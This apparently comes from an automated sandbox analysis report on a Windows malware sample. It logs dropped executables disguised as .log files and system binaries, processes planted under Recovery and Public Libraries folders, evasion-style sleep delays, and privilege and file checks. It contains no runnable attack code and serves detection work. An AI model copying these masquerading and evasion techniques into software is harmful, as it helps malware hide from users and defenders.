Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Chaindriver.exe	Memory allocated: C80000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Chaindriver.exe	Memory allocated: 1ACC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Chaindriver.exe	Memory allocated: F40000 memory reserve \| memory write watch
Source: C:\Chaindriver.exe	Memory allocated: 1AD50000 memory reserve \| memory write watch
Source: C:\Chaindriver.exe	Memory allocated: AA0000 memory reserve \| memory write watch
Source: C:\Chaindriver.exe	Memory allocated: 1A420000 memory reserve \| memory write watch
Source: C:\Recovery\Memory Compression.exe	Memory allocated: E40000 memory reserve \| memory write watch
Source: C:\Recovery\Memory Compression.exe	Memory allocated: 1A920000 memory reserve \| memory write watch
Source: C:\Recovery\Memory Compression.exe	Memory allocated: EA0000 memory reserve \| memory write watch
Source: C:\Recovery\Memory Compression.exe	Memory allocated: 1A9D0000 memory reserve \| memory write watch
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Memory allocated: 10C0000 memory reserve \| memory write watch
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Memory allocated: 1ACD0000 memory reserve \| memory write watch
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Memory allocated: 1020000 memory reserve \| memory write watch
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Memory allocated: 1ACD0000 memory reserve \| memory write watch
Source: C:\Chaindriver.exe	Memory allocated: F10000 memory reserve \| memory write watch
Source: C:\Chaindriver.exe	Memory allocated: 1A700000 memory reserve \| memory write watch
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Memory allocated: 10A0000 memory reserve \| memory write watch
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Memory allocated: 1AD10000 memory reserve \| memory write watch

Source: C:\Chaindriver.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Chaindriver.exe	Thread delayed: delay time: 922337203685477
Source: C:\Chaindriver.exe	Thread delayed: delay time: 922337203685477
Source: C:\Recovery\Memory Compression.exe	Thread delayed: delay time: 922337203685477
Source: C:\Recovery\Memory Compression.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Thread delayed: delay time: 922337203685477
Source: C:\Chaindriver.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Thread delayed: delay time: 922337203685477

Source: C:\Recovery\Memory Compression.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\KGIrVxyv.log	Jump to dropped file
Source: C:\Chaindriver.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\Zfmnrnxn.log	Jump to dropped file
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75042\libcrypto-1_1.dll	Jump to dropped file
Source: C:\Recovery\Memory Compression.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\FnBzuKhI.log	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Windows\System32\SecurityHealthSystray.exe	Jump to dropped file
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75042\_lzma.pyd	Jump to dropped file
Source: C:\Chaindriver.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\PxTXHLsG.log	Jump to dropped file
Source: C:\Chaindriver.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\viEjRGTv.log	Jump to dropped file
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75042\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75042\_bz2.pyd	Jump to dropped file
Source: C:\Chaindriver.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\HTKiXRcY.log	Jump to dropped file
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75042\_decimal.pyd	Jump to dropped file
Source: C:\Recovery\Memory Compression.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\TkRgFrOc.log	Jump to dropped file
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75042\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75042\python39.dll	Jump to dropped file
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75042\select.pyd	Jump to dropped file
Source: C:\Recovery\Memory Compression.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\BXpblVtN.log	Jump to dropped file
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75042\_socket.pyd	Jump to dropped file

Source: C:\Users\user\Desktop\t8F7Ic986c.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_0-17554

Source: C:\Chaindriver.exe TID: 7876	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Chaindriver.exe TID: 7648	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Chaindriver.exe TID: 7620	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Recovery\Memory Compression.exe TID: 7656	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Recovery\Memory Compression.exe TID: 7592	Thread sleep time: -30000s >= -30000s
Source: C:\Recovery\Memory Compression.exe TID: 7528	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe TID: 7532	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe TID: 7660	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Chaindriver.exe TID: 3288	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe TID: 8048	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Chaindriver.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Chaindriver.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Chaindriver.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Recovery\Memory Compression.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Recovery\Memory Compression.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Chaindriver.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Code function: 0_2_00007FF652ED8D00 FindFirstFileExW,FindClose,	0_2_00007FF652ED8D00
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Code function: 0_2_00007FF652EE8670 _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,	0_2_00007FF652EE8670
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Code function: 0_2_00007FF652EE8670 _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,	0_2_00007FF652EE8670
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Code function: 0_2_00007FF652EF26C4 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_00007FF652EF26C4
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Code function: 4_2_00007FF6C036407C FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,	4_2_00007FF6C036407C
